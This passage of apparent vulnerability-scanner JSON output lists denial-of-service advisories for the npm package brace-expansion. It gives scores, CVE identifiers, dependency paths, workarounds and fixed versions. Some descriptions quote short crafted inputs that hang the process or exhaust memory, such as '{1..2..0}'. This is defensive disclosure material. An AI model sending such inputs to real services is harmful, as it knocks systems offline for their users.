"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## 